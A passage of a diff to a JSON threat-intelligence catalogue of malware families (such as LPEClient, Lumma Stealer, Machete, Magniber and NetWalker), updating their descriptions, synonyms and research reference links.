"https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae" + "https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae", + "https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html" ], "synonyms": [], "type": [] @@ -31840,14 +33353,10 @@ "value": "LONGWATCH" }, { - "description": "LooChiper is a Ransomware. It uses a nice but scary name: LooCipher. The name is at the same time an allusion to its capabilities (thank to the term “Cipher”) and to the popular mythological figure, Lucifer. Despite its evocative nickname, the functionalities of this malware are pretty straight forward, not very different from those belonging to many other ransomware families. ", + "description": "LooChiper is a Ransomware. It uses a nice but scary name: LooCipher. The name is at the same time an allusion to its capabilities (thank to the term \u201cCipher\u201d) and to the popular mythological figure, Lucifer. Despite its evocative nickname, the functionalities of this malware are pretty straight forward, not very different from those belonging to many other ransomware families. ", "meta": { "refs": [ - "https://malpedia.caad.fkie.fraunhofer.de/details/win.loochiper", - "https://github.com/ZLab-Cybaze-Yoroi/LooCipher_Decryption_Tool", - "https://blog.yoroi.company/research/loocipher-the-new-infernal-ransomware/", - "https://marcoramilli.com/2019/07/13/free-tool-loocipher-decryptor/", - "https://www.fortinet.com/blog/threat-research/loocipher-can-encrypted-files-be-recovered.html" + "https://malpedia.caad.fkie.fraunhofer.de/details/win.loochiper" ], "synonyms": [], "type": [] @@ -31860,16 +33369,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lookback", - "https://threatgen.com/taking-a-closer-look-at-the-lookback-malware-campaign-part-1/", - "https://www.proofpoint.com/us/threat-insight/post/lookback-malware-targets-united-states-utilities-sector-phishing-attacks", "https://pylos.co/wp-content/uploads/2020/02/Threat-Intelligence-and-the-Limits-of-Malware-Analysis.pdf", - "https://www.dragos.com/blog/industry-news/new-ics-threat-activity-group-talonite/", - "https://www.ironnet.com/blog/china-cyber-attacks-the-current-threat-landscape", + "https://threatgen.com/taking-a-closer-look-at-the-lookback-malware-campaign-part-1/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/witchetty-steganography-espionage", "https://www.welivesecurity.com/2022/04/27/lookback-ta410-umbrella-cyberespionage-ttps-activity/", + "https://www.ironnet.com/blog/china-cyber-attacks-the-current-threat-landscape", "https://nao-sec.org/2021/01/royal-road-redive.html", - "https://www.proofpoint.com/us/blog/threat-insight/ta410-group-behind-lookback-attacks-against-us-utilities-sector-returns-new", + "https://www.proofpoint.com/us/threat-insight/post/lookback-malware-targets-united-states-utilities-sector-phishing-attacks", "https://www.proofpoint.com/us/threat-insight/post/lookback-forges-ahead-continued-targeting-united-states-utilities-sector-reveals", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/witchetty-steganography-espionage" + "https://www.proofpoint.com/us/blog/threat-insight/ta410-group-behind-lookback-attacks-against-us-utilities-sector-returns-new", + "https://www.dragos.com/blog/industry-news/new-ics-threat-activity-group-talonite/" ], "synonyms": [], "type": [] @@ -31882,11 +33391,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lordix", - "https://www.bromium.com/an-analysis-of-l0rdix-rat-panel-and-builder/", + "https://github.com/cryptogramfan/Malware-Analysis-Scripts/blob/master/decrypt_l0rdix_c2.py", "https://www.bromium.com/decrypting-l0rdix-rats-c2/", - "https://blog.ensilo.com/l0rdix-attack-tool", "https://twitter.com/hexlax/status/1058356670835908610", - "https://github.com/cryptogramfan/Malware-Analysis-Scripts/blob/master/decrypt_l0rdix_c2.py" + "https://blog.ensilo.com/l0rdix-attack-tool", + "https://www.bromium.com/an-analysis-of-l0rdix-rat-panel-and-builder/" ], "synonyms": [ "lordix" @@ -31902,13 +33411,13 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lorenz", "https://arcticwolf.com/resources/blog/lorenz-ransomware-getting-dumped/", - "https://www.bleepingcomputer.com/news/security/meet-lorenz-a-new-ransomware-gang-targeting-the-enterprise/", + "https://therecord.media/free-decrypter-available-for-lorenz-ransomware/", "https://twitter.com/AltShiftPrtScn/status/1423190900516302860?s=20", - "https://www.tesorion.nl/en/posts/lorenz-ransomware-rebound-corruption-and-irrecoverable-files/", - "https://www.tesorion.nl/en/posts/lorenz-ransomware-analysis-and-a-free-decryptor/", - "https://www.cybereason.com/blog/cybereason-vs.-lorenz-ransomware", + "https://www.bleepingcomputer.com/news/security/meet-lorenz-a-new-ransomware-gang-targeting-the-enterprise/", "https://arcticwolf.com/resources/blog/lorenz-ransomware-chiseling-in/", - "https://therecord.media/free-decrypter-available-for-lorenz-ransomware/" + "https://www.tesorion.nl/en/posts/lorenz-ransomware-rebound-corruption-and-irrecoverable-files/", + "https://www.cybereason.com/blog/cybereason-vs.-lorenz-ransomware", + "https://www.tesorion.nl/en/posts/lorenz-ransomware-analysis-and-a-free-decryptor/" ], "synonyms": [], "type": [] @@ -31935,8 +33444,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lowball", - "https://kindredsec.wordpress.com/2019/08/12/an-overview-of-public-platform-c2s/", "https://kindredsec.com/2019/08/12/an-overview-of-public-platform-c2s/", + "https://kindredsec.wordpress.com/2019/08/12/an-overview-of-public-platform-c2s/", "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" ], "synonyms": [], @@ -31950,10 +33459,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lowkey", - "https://www.mandiant.com/resources/apt41-us-state-governments", "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Winnti.pdf", - "https://www.welivesecurity.com/2019/10/21/winnti-group-skip2-0-microsoft-sql-server-backdoor/", - "https://www.fireeye.com/blog/threat-research/2019/10/lowkey-hunting-for-the-missing-volume-serial-id.html" + "https://www.mandiant.com/resources/apt41-us-state-governments", + "https://www.fireeye.com/blog/threat-research/2019/10/lowkey-hunting-for-the-missing-volume-serial-id.html", + "https://www.welivesecurity.com/2019/10/21/winnti-group-skip2-0-microsoft-sql-server-backdoor/" ], "synonyms": [ "PortReuse" @@ -31977,13 +33486,32 @@ "uuid": "1efd4902-ff9e-4e71-8867-6eddb9bc456c", "value": "LOWZERO" }, + { + "description": "LPEClient is an HTTP(S) downloader that expects two command line parameters: an encrypted string containing two URLs (a primary and a secondary C&C server), and the path on the victim's file system to store the downloaded payload. \r\n\r\nIt sends detailed information about the victim's environment, like computer name, type and number of processors, computer manufacturer, product name, major and minor Windows versions, architecture, memory information, installed security software and the version of the ntoskrnl.exe from its version-information resource.\r\n\r\nLPEClient uses specific 32-bit values to represent its execution state (0x59863F09 when connecting via the WinHTTP interface, 0xA9348B57 via WinINet), or the nature of HTTP requests to the C&C servers (0xF07D6B34 when sending system information, 0xEF8C0D51 when requesting a DLL payload, 0xCB790A25 when reporting the successful loading of the DLL, 0xD7B20A96 when reporting the state of the the DLL execution). As the final step, malware looks for the export CloseEnv and executes it. \r\n", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.lpeclient", + "https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf", + "https://vblocalhost.com/uploads/VB2021-Lee-etal.pdf", + "https://vblocalhost.com/uploads/VB2021-Park.pdf", + "https://securelist.com/the-lazarus-group-deathnote-campaign/109490/", + "https://securelist.com/lazarus-threatneedle/100803/" + ], + "synonyms": [ + "LPEClientTea" + ], + "type": [] + }, + "uuid": "754c8f79-743b-49fc-971e-bcd60edef9d8", + "value": "LPEClient" + }, { "description": "This in Go written malware is lsass process memory dumper, which was custom developed by threat actors according to Security Joes. It has the capability to automatically exfiltrate the results to the free file transfer service \"transfer.sh\".", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lsassdumper", - "https://secjoes-reports.s3.eu-central-1.amazonaws.com/Sockbot%2Bin%2BGoLand.pdf", - "https://www.bleepingcomputer.com/news/security/hackers-fork-open-source-reverse-tunneling-tool-for-persistence/" + "https://www.bleepingcomputer.com/news/security/hackers-fork-open-source-reverse-tunneling-tool-for-persistence/", + "https://secjoes-reports.s3.eu-central-1.amazonaws.com/Sockbot%2Bin%2BGoLand.pdf" ], "synonyms": [], "type": [] @@ -31992,7 +33520,7 @@ "value": "lsassDumper" }, { - "description": "", + "description": "According to PCrisk, Lu0bot es un software malicioso. El malware es ligero, por lo que su uso de los recursos del sistema es bajo. Esto complica la detecci\u00f3n de Lu0bot, ya que no causa s\u00edntomas significativos, como una grave disminuci\u00f3n del rendimiento del sistema.\r\n\r\nEl programa malicioso funciona como un recolector de telemetr\u00eda. ", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lu0bot", @@ -32022,8 +33550,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lucifer", - "https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/", - "https://research.checkpoint.com/2020/rudeminer-blacksquid-and-lucifer-walk-into-a-bar/" + "https://research.checkpoint.com/2020/rudeminer-blacksquid-and-lucifer-walk-into-a-bar/", + "https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/" ], "synonyms": [], "type": [] @@ -32036,13 +33564,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.luminosity_rat", - "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf", "https://krebsonsecurity.com/2018/07/luminositylink-rat-author-pleads-guilty/", - "https://researchcenter.paloaltonetworks.com/2018/02/unit42-rat-trapped-luminositylink-falls-foul-vermin-eradication-efforts/", - "https://umbrella.cisco.com/blog/2017/01/18/finding-the-rats-nest/", - "https://www.secureworks.com/research/threat-profiles/copper-fieldstone", + "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf", "https://www.proofpoint.com/us/threat-insight/post/Light-After-Dark", "https://researchcenter.paloaltonetworks.com/2016/07/unit42-investigating-the-luminositylink-remote-access-trojan-configuration/", + "https://www.secureworks.com/research/threat-profiles/copper-fieldstone", + "https://umbrella.cisco.com/blog/2017/01/18/finding-the-rats-nest/", + "https://researchcenter.paloaltonetworks.com/2018/02/unit42-rat-trapped-luminositylink-falls-foul-vermin-eradication-efforts/", "http://malwarenailed.blogspot.com/2016/07/luminosity-rat-re-purposed.html" ], "synonyms": [ @@ -32054,17 +33582,20 @@ "value": "Luminosity RAT" }, { - "description": "Lumma is an information stealer written in C, sold as a Malware-as-a-Service by LummaC on Russian-speaking underground forums and Telegram since at least August 2022. Lumma's capabilities are those of a classic stealer, with a focus on cryptocurrency wallets, and file grabber capabilities.", + "description": "Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor \"Shamel\", who goes by the alias \"Lumma\". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the URI \"/c2sock\" and the user agent \"TeslaBrowser/5.5\".\"", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma", - "https://twitter.com/sekoia_io/status/1572889505497223169", - "https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/", - "https://twitter.com/Ishusoka/status/1614028229307928582", - "https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx", - "https://outpost24.com/blog/everything-you-need-to-know-lummac2-stealer", "https://twitter.com/fumik0_/status/1559474920152875008", - "https://medium.com/s2wblog/lumma-stealer-targets-youtubers-via-spear-phishing-email-ade740d486f7" + "https://twitter.com/sekoia_io/status/1572889505497223169", + "https://www.esentire.com/blog/the-case-of-lummac2-v4-0", + "https://twitter.com/Ishusoka/status/1614028229307928582", + "https://outpost24.com/blog/everything-you-need-to-know-lummac2-stealer", + "https://medium.com/s2wblog/lumma-stealer-targets-youtubers-via-spear-phishing-email-ade740d486f7", + "https://darktrace.com/blog/the-rise-of-the-lumma-info-stealer", + "https://www.rapid7.com/blog/post/2023/08/31/fake-update-utilizes-new-idat-loader-to-execute-stealc-and-lumma-infostealers/", + "https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/", + "https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx" ], "synonyms": [ "LummaC2 Stealer" @@ -32158,9 +33689,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lyposit", - "http://malware.dontneedcoffee.com/2013/05/unveiling-locker-bomba-aka-lucky-locker.html", + "https://blog.avast.com/2013/05/20/lockscreen-win32lyposit-displayed-as-a-fake-macos-app/", "http://malware.dontneedcoffee.com/2012/11/inside-view-of-lyposit-aka-for-its.html", - "https://blog.avast.com/2013/05/20/lockscreen-win32lyposit-displayed-as-a-fake-macos-app/" + "http://malware.dontneedcoffee.com/2013/05/unveiling-locker-bomba-aka-lucky-locker.html" ], "synonyms": [ "Adneukine", @@ -32190,11 +33721,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.m0yv", - "https://github.com/baderj/domain_generation_algorithms/blob/master/m0yv/dga.py", - "https://github.com/baderj/domain_generation_algorithms/blob/master/expiro/dga.py", "https://youtu.be/3RYbkORtFnk", - "https://www.bleepingcomputer.com/news/security/ransomware-dev-releases-egregor-maze-master-decryption-keys/", - "https://securityaffairs.co/wordpress/127826/malware/egregor-sekhmet-decryption-keys.html" + "https://securityaffairs.co/wordpress/127826/malware/egregor-sekhmet-decryption-keys.html", + "https://github.com/baderj/domain_generation_algorithms/blob/master/expiro/dga.py", + "https://github.com/baderj/domain_generation_algorithms/blob/master/m0yv/dga.py", + "https://www.bleepingcomputer.com/news/security/ransomware-dev-releases-egregor-maze-master-decryption-keys/" ], "synonyms": [], "type": [] @@ -32207,9 +33738,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.macaw", - "https://killingthebear.jorgetesta.tech/actors/evil-corp", + "https://www.bleepingcomputer.com/news/security/evil-corp-demands-40-million-in-new-macaw-ransomware-attacks/", "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions", - "https://www.bleepingcomputer.com/news/security/evil-corp-demands-40-million-in-new-macaw-ransomware-attacks/" + "https://killingthebear.jorgetesta.tech/actors/evil-corp" ], "synonyms": [], "type": [] @@ -32218,17 +33749,17 @@ "value": "Macaw" }, { - "description": "According to ESET, Machete’s dropper is a RAR SFX executable. Three py2exe components are dropped: GoogleCrash.exe, Chrome.exe and GoogleUpdate.exe. A single configuration file, jer.dll, is dropped, and it contains base64‑encoded text that corresponds to AES‑encrypted strings.\r\nGoogleCrash.exe is the main component of the malware. It schedules execution of the other two components and creates Windows Task Scheduler tasks to achieve persistence.\r\nRegarding the geolocation of victims, Chrome.exe collects data about nearby Wi-Fi networks and sends it to the Mozilla Location Service API. In short, this application provides geolocation coordinates when it’s given other sources of data such as Bluetooth beacons, cell towers or Wi-Fi access points. Then the malware takes latitude and longitude coordinates to build a Google Maps URL.\r\nThe GoogleUpdate.exe component is responsible for communicating with the remote C&C server. The configuration to set the connection is read from the jer.dll file: domain name, username and password. The principal means of communication for Machete is via FTP, although HTTP communication was implemented as a fallback in 2019.", + "description": "According to ESET, Machete\u2019s dropper is a RAR SFX executable. Three py2exe components are dropped: GoogleCrash.exe, Chrome.exe and GoogleUpdate.exe. A single configuration file, jer.dll, is dropped, and it contains base64\u2011encoded text that corresponds to AES\u2011encrypted strings.\r\nGoogleCrash.exe is the main component of the malware. It schedules execution of the other two components and creates Windows Task Scheduler tasks to achieve persistence.\r\nRegarding the geolocation of victims, Chrome.exe collects data about nearby Wi-Fi networks and sends it to the Mozilla Location Service API. In short, this application provides geolocation coordinates when it\u2019s given other sources of data such as Bluetooth beacons, cell towers or Wi-Fi access points. Then the malware takes latitude and longitude coordinates to build a Google Maps URL.\r\nThe GoogleUpdate.exe component is responsible for communicating with the remote C&C server. The configuration to set the connection is read from the jer.dll file: domain name, username and password. The principal means of communication for Machete is via FTP, although HTTP communication was implemented as a fallback in 2019.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.machete", - "https://www.cylance.com/en_us/blog/el-machete-malware-attacks-cut-through-latam.html", - "https://securelist.com/el-machete/66108/", - "https://www.welivesecurity.com/2019/08/05/sharpening-machete-cyberespionage/", - "https://static1.squarespace.com/static/5a01100f692ebe0459a1859f/t/5da340ded5ccf627e1764059/1570980068506/Day3-1130-Green-A+study+of+Machete+cyber+espionage+operations+in+Latin+America.pdf", - "https://www.atomicmatryoshka.com/post/infographic-apts-in-south-america", "https://medium.com/@verovaleros/el-machete-what-do-we-know-about-the-apt-targeting-latin-america-be7d11e690e6", - "https://threatvector.cylance.com/en_us/home/threat-spotlight-machete-info-stealer.html" + "https://www.cylance.com/en_us/blog/el-machete-malware-attacks-cut-through-latam.html", + "https://static1.squarespace.com/static/5a01100f692ebe0459a1859f/t/5da340ded5ccf627e1764059/1570980068506/Day3-1130-Green-A+study+of+Machete+cyber+espionage+operations+in+Latin+America.pdf", + "https://securelist.com/el-machete/66108/", + "https://threatvector.cylance.com/en_us/home/threat-spotlight-machete-info-stealer.html", + "https://www.welivesecurity.com/2019/08/05/sharpening-machete-cyberespionage/", + "https://www.atomicmatryoshka.com/post/infographic-apts-in-south-america" ], "synonyms": [ "El Machete" @@ -32268,9 +33799,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.maggie", - "https://www.sentinelone.com/labs/wip19-espionage-new-chinese-apt-targets-it-service-providers-and-telcos-with-signed-malware/", + "https://medium.com/@DCSO_CyTec/tracking-down-maggie-4d889872513d", "https://medium.com/@DCSO_CyTec/mssql-meet-maggie-898773df3b01", - "https://medium.com/@DCSO_CyTec/tracking-down-maggie-4d889872513d" + "https://www.sentinelone.com/labs/wip19-espionage-new-chinese-apt-targets-it-service-providers-and-telcos-with-signed-malware/" ], "synonyms": [], "type": [] @@ -32283,9 +33814,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.magic_rat", - "https://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", + "https://www.youtube.com/watch?v=nUjxH1gW53s", + "https://media.defense.gov/2023/Feb/09/2003159161/-1/-1/0/CSA_RANSOMWARE_ATTACKS_ON_CI_FUND_DPRK_ACTIVITIES.PDF", + "https://blog.talosintelligence.com/2022/09/lazarus-magicrat.html", "https://www.attackiq.com/2023/01/05/emulating-the-highly-sophisticated-north-korean-adversary-lazarus-group/", - "https://blog.talosintelligence.com/2022/09/lazarus-magicrat.html" + "https://blog.talosintelligence.com/2022/09/lazarus-three-rats.html" ], "synonyms": [], "type": [] @@ -32298,26 +33831,27 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.magniber", - "https://www.cybereason.com/blog/threat-analysis-report-printnightmare-and-magniber-ransomware", - "https://hshrzd.wordpress.com/2023/03/30/magniber-ransomware-analysis/", - "https://asec.ahnlab.com/en/41889/", - "https://teamt5.org/tw/posts/internet-explorer-the-vulnerability-ridden-browser/", "https://medium.com/coinmonks/passive-income-of-cyber-criminals-dissecting-bitcoin-multiplier-scam-b9d2b6048372", - "https://blog.google/threat-analysis-group/magniber-ransomware-actors-used-a-variant-of-microsoft-smartscreen-bypass/", - "https://decoded.avast.io/janvojtesek/magnitude-exploit-kit-still-alive-and-kicking/", - "https://decoded.avast.io/janvojtesek/exploit-kits-vs-google-chrome/", - "https://www.bleepingcomputer.com/news/security/fake-windows-10-updates-infect-you-with-magniber-ransomware/", - "https://www.youtube.com/watch?v=lqWJaaofNf4", "https://threatresearch.ext.hp.com/magniber-ransomware-switches-to-javascript-targeting-home-users-with-fake-software-updates/", - "https://asec.ahnlab.com/en/19273/", - "https://blog.malwarebytes.com/threat-analysis/2017/10/magniber-ransomware-exclusively-for-south-koreans/", + "https://asec.ahnlab.com/en/41889/", "https://www.crowdstrike.com/blog/magniber-ransomware-caught-using-printnightmare-vulnerability/", - "http://asec.ahnlab.com/1124", - "https://asec.ahnlab.com/en/30645/", - "https://forensicitguy.github.io/analyzing-magnitude-magniber-appx/", - "https://www.cybereason.com/blog/threat-analysis-msi-masquerading-as-software-installer", + "https://hshrzd.wordpress.com/2023/03/30/magniber-ransomware-analysis/", + "https://www.malwarebytes.com/blog/news/2018/07/magniber-ransomware-improves-expands-within-asia", + "https://teamt5.org/tw/posts/internet-explorer-the-vulnerability-ridden-browser/", + "https://decoded.avast.io/janvojtesek/magnitude-exploit-kit-still-alive-and-kicking/", "https://therecord.media/printnightmare-vulnerability-weaponized-by-magniber-ransomware-gang/", - "https://www.bleepingcomputer.com/news/security/magniber-ransomware-gang-now-exploits-internet-explorer-flaws-in-attacks/" + "https://www.cybereason.com/blog/threat-analysis-report-printnightmare-and-magniber-ransomware", + "https://blog.google/threat-analysis-group/magniber-ransomware-actors-used-a-variant-of-microsoft-smartscreen-bypass/", + "https://www.bleepingcomputer.com/news/security/magniber-ransomware-gang-now-exploits-internet-explorer-flaws-in-attacks/", + "https://www.bleepingcomputer.com/news/security/fake-windows-10-updates-infect-you-with-magniber-ransomware/", + "https://asec.ahnlab.com/en/19273/", + "https://decoded.avast.io/janvojtesek/exploit-kits-vs-google-chrome/", + "https://asec.ahnlab.com/en/30645/", + "https://www.youtube.com/watch?v=lqWJaaofNf4", + "https://www.cybereason.com/blog/threat-analysis-msi-masquerading-as-software-installer", + "http://asec.ahnlab.com/1124", + "https://forensicitguy.github.io/analyzing-magnitude-magniber-appx/", + "https://blog.malwarebytes.com/threat-analysis/2017/10/magniber-ransomware-exclusively-for-south-koreans/" ], "synonyms": [], "type": [] @@ -32330,68 +33864,68 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mailto", - "https://www.bleepingcomputer.com/news/security/netwalker-ransomware-affiliate-sentenced-to-80-months-in-prison/", - "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", - "https://www.ucsf.edu/news/2020/06/417911/update-it-security-incident-ucsf", - "https://lopqto.me/posts/automated-dynamic-import-resolving", - "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", - "https://seguranca-informatica.pt/netwalker-ransomware-full-analysis/", - "https://www.bleepingcomputer.com/news/security/michigan-state-university-network-breached-in-ransomware-attack/", - "https://www.bleepingcomputer.com/news/security/mailto-netwalker-ransomware-targets-enterprise-networks/", - "https://thedfirreport.com/2020/08/31/netwalker-ransomware-in-1-hour/", - "https://www.bleepingcomputer.com/news/security/darkside-ransomware-made-90-million-in-just-nine-months/", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/an-in-depth-look-at-mailto-ransomware-part-three-of-three/", - "https://www.youtube.com/watch?v=q8of74upT_g", - "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", - "https://therecord.media/darkside-gang-estimated-to-have-made-over-90-million-from-ransomware-attacks/", - "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", - "https://www.incibe-cert.es/blog/ransomware-netwalker-analisis-y-medidas-preventivas", - "https://blogs.blackberry.com/en/2021/03/zerologon-to-ransomware", - "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/take-a-netwalk-on-the-wild-side/", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/an-in-depth-look-at-mailto-ransomware-part-one-of-three/", - "https://0x00-0x7f.github.io/Netwalker-from-Powershell-reflective-loader-to-injected-Dll/", - "https://www.crowdstrike.com/blog/analysis-of-ecrime-menu-style-toolkits/", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/an-in-depth-look-at-mailto-ransomware-part-two-of-three/", - "https://www.cybereason.com/blog/cybereason-vs.-netwalker-ransomware", - "https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound", - "https://sites.temple.edu/care/ci-rw-attacks/", - "https://www.zeit.de/digital/2021-06/cybercrime-extortion-internet-spyware-ransomware-police-prosecution-hackers", - "https://krebsonsecurity.com/2021/01/arrest-seizures-tied-to-netwalker-ransomware", - "https://www.bleepingcomputer.com/news/security/enel-group-hit-by-ransomware-again-netwalker-demands-14-million", - "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", - "https://danusminimus.github.io/Zero2Auto-Netwalker-Walkthrough/", - "https://tccontre.blogspot.com/2020/05/netwalker-ransomware-api-call.html", - "https://www.bleepingcomputer.com/news/security/enel-group-hit-by-ransomware-again-netwalker-demands-14-million/", - "https://zengo.com/bitcoin-ransomware-detective-ucsf/", - "https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/", - "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", - "https://zero2auto.com/2020/05/19/netwalker-re/", - "https://www.ic3.gov/media/news/2020/200929-2.pdf", - "https://download.microsoft.com/download/f/8/1/f816b8b6-bee3-41e5-b6cc-e925a5688f61/Microsoft_Digital_Defense_Report_2020_September.pdf", - "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html", - "https://www.justice.gov/usao-mdfl/press-release/file/1360846/download", - "https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/", - "https://id-ransomware.blogspot.com/2019/09/koko-ransomware.html", - "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", - "https://ics-cert.kaspersky.com/media/KASPERSKY_H1_2020_ICS_REPORT_EN.pdf", - "https://s3.documentcloud.org/documents/21199896/vachon-desjardins-court-docs.pdf", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", - "https://www.advanced-intel.com/post/netwalker-ransomware-group-enters-advanced-targeting-game", - "https://cti-league.com/wp-content/uploads/2021/02/CTI-League-Darknet-Report-2021.pdf", - "https://news.sophos.com/en-us/2020/05/27/netwalker-ransomware-tools-give-insight-into-threat-actor/", - "https://therecord.media/ransomwhere-project-wants-to-create-a-database-of-past-ransomware-payments/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", "https://cert-agid.gov.it/news/netwalker-il-ransomware-che-ha-beffato-lintera-community/", - "https://www.bleepingcomputer.com/news/security/netwalker-ransomware-infecting-users-via-coronavirus-phishing/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/ReportCSIT-20081e.pdf", - "https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/", - "https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://www.advanced-intel.com/post/netwalker-ransomware-group-enters-advanced-targeting-game", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/an-in-depth-look-at-mailto-ransomware-part-three-of-three/", + "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", + "https://www.zeit.de/digital/2021-06/cybercrime-extortion-internet-spyware-ransomware-police-prosecution-hackers", "https://ke-la.com/to-attack-or-not-to-attack-targeting-the-healthcare-sector-in-the-underground-ecosystem/", - "https://blog.talosintelligence.com/2020/09/CTIR-quarterly-trends-Q4-2020.html", + "https://www.bleepingcomputer.com/news/security/netwalker-ransomware-affiliate-sentenced-to-80-months-in-prison/", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/ReportCSIT-20081e.pdf", "https://blog.trendmicro.com/trendlabs-security-intelligence/netwalker-fileless-ransomware-injected-via-reflective-loading/", - "https://www.justice.gov/opa/pr/department-justice-launches-global-action-against-netwalker-ransomware" + "https://seguranca-informatica.pt/netwalker-ransomware-full-analysis/", + "https://krebsonsecurity.com/2021/01/arrest-seizures-tied-to-netwalker-ransomware", + "https://www.bleepingcomputer.com/news/security/michigan-state-university-network-breached-in-ransomware-attack/", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/an-in-depth-look-at-mailto-ransomware-part-two-of-three/", + "https://www.ic3.gov/media/news/2020/200929-2.pdf", + "https://www.justice.gov/usao-mdfl/press-release/file/1360846/download", + "https://lopqto.me/posts/automated-dynamic-import-resolving", + "https://therecord.media/ransomwhere-project-wants-to-create-a-database-of-past-ransomware-payments/", + "https://ics-cert.kaspersky.com/media/KASPERSKY_H1_2020_ICS_REPORT_EN.pdf", + "https://therecord.media/darkside-gang-estimated-to-have-made-over-90-million-from-ransomware-attacks/", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/an-in-depth-look-at-mailto-ransomware-part-one-of-three/", + "https://www.incibe-cert.es/blog/ransomware-netwalker-analisis-y-medidas-preventivas", + "https://news.sophos.com/en-us/2020/05/27/netwalker-ransomware-tools-give-insight-into-threat-actor/", + 